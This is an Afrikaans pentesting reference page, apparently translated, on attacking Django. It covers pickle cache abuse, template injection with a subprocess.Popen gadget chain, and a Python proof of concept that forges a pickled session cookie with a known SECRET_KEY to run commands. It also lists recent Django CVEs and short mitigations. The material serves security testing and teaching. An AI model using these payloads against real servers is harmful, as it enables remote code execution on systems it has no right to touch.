Django

Cache Manipulasie na RCE

Django se standaard cache stoor metode is Python pickles, wat kan lei tot RCE as onbetroubare invoer ontpikkel word. As 'n aanvaller skrywe toegang tot die cache kan verkry, kan hulle hierdie kwesbaarheid na RCE op die onderliggende bediener eskaleer.

Django cache word in een van vier plekke gestoor: Redis, geheue, lêers, of 'n databasis. Cache wat in 'n Redis bediener of databasis gestoor is, is die mees waarskynlike aanvalsvectors (Redis inspuiting en SQL inspuiting), maar 'n aanvaller mag ook in staat wees om lêer-gebaseerde cache te gebruik om 'n arbitrêre skrywe in RCE te omskep. Onderhouers het dit as 'n nie-kwessie gemerk. Dit is belangrik om te noem dat die cache lêer gids, SQL tabelnaam, en Redis bediener besonderhede sal verskil op grond van implementering.

Hierdie HackerOne verslag bied 'n uitstekende, herhaalbare voorbeeld van die ontginning van Django cache wat in 'n SQLite databasis gestoor is: https://hackerone.com/reports/1415436

Bediener-kant Sjabloon Inspuiting (SSTI)

Die Django Sjabloon Taal (DTL) is Turing-voltooi. As gebruiker-gelewer data as 'n sjabloon string gerender word (byvoorbeeld deur Template(user_input).render() aan te roep of wanneer |safe/format_html() outomatiese ontsnapping verwyder), kan 'n aanvaller volle SSTI → RCE bereik.

Opsporing

1. Soek na dinamiese oproepe na Template() / Engine.from_string() / render_to_string() wat enige ongesuiwerde versoekdata insluit.
2. Stuur 'n tyd-gebaseerde of aritmetiese payload:

{{7*7}}

As die gerenderde uitvoer 49 bevat, word die invoer deur die sjabloon enjin gecompileer.

Primitive na RCE

Django blokkeer direkte toegang tot __import__, maar die Python objek grafiek is bereikbaar:

{{''.__class__.mro()[1].__subclasses__()}}

Vind die indeks van subprocess.Popen (≈400–500 afhangende van die Python-bou) en voer arbitrêre opdragte uit:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

'n Veiliger universele gadget is om te herhaal totdat cls.__name__ == 'Popen'.

Dieselfde gadget werk vir Debug Toolbar of Django-CMS sjabloon weergawe funksies wat gebruikersinvoer verkeerd hanteer.

Pickle-Backed Session Cookie RCE

As die instelling SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' geaktiveer is (of 'n pasgemaakte serialiseerder wat pickle deserialiseer), Django dekripteer en unpickles die sessie koekie voor enige weergawe kode aangeroep word. Daarom is dit genoeg om 'n geldige ondertekeningssleutel (die projek SECRET_KEY per standaard) te besit vir onmiddellike afstands kode uitvoering.

Exploit Vereistes

• Die bediener gebruik PickleSerializer.
• Die aanvaller weet / kan raai settings.SECRET_KEY (lekke via GitHub, .env, fout bladsye, ens.).

Bewys-van-Konsep

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Stuur die resulterende koekie, en die payload loop met die toestemmings van die WSGI-werker.

Mitigaties: Hou die standaard JSONSerializer, draai SECRET_KEY om, en konfigureer SESSION_COOKIE_HTTPONLY.

Onlangs (2023-2025) Hoë-Impakte Django CVEs Wat Pentesters Moet Nagaan

• CVE-2025-48432 – Log-inspuiting via ongeëscape request.path (opgelos 4 Junie 2025). Laat aanvallers toe om nuwe reëls/ANSI-kodes in loglêers te smokkel en afgeleide loganalise te vergiftig. Patches vlak ≥ 4.2.22 / 5.1.10 / 5.2.2.
• CVE-2024-42005 – Kritieke SQL-inspuiting in QuerySet.values()/values_list() op JSONField (CVSS 9.8). Skep JSON sleutels om uit aanhalingstekens te breek en arbitrêre SQL uit te voer. Opgelos in 4.2.15 / 5.0.8.

Fingerprint altyd die presiese raamwerk weergawe via die X-Frame-Options foutblad of /static/admin/css/base.css hash en toets die bogenoemde waar van toepassing.

Verwysings

• Django sekuriteitsvrystelling – "Django 5.2.2, 5.1.10, 4.2.22 adresseer CVE-2025-48432" – 4 Junie 2025.
• OP-Innovate: "Django vrystellings sekuriteitsopdaterings om SQL-inspuitingsfout CVE-2024-42005 aan te spreek" – 11 Augustus 2024.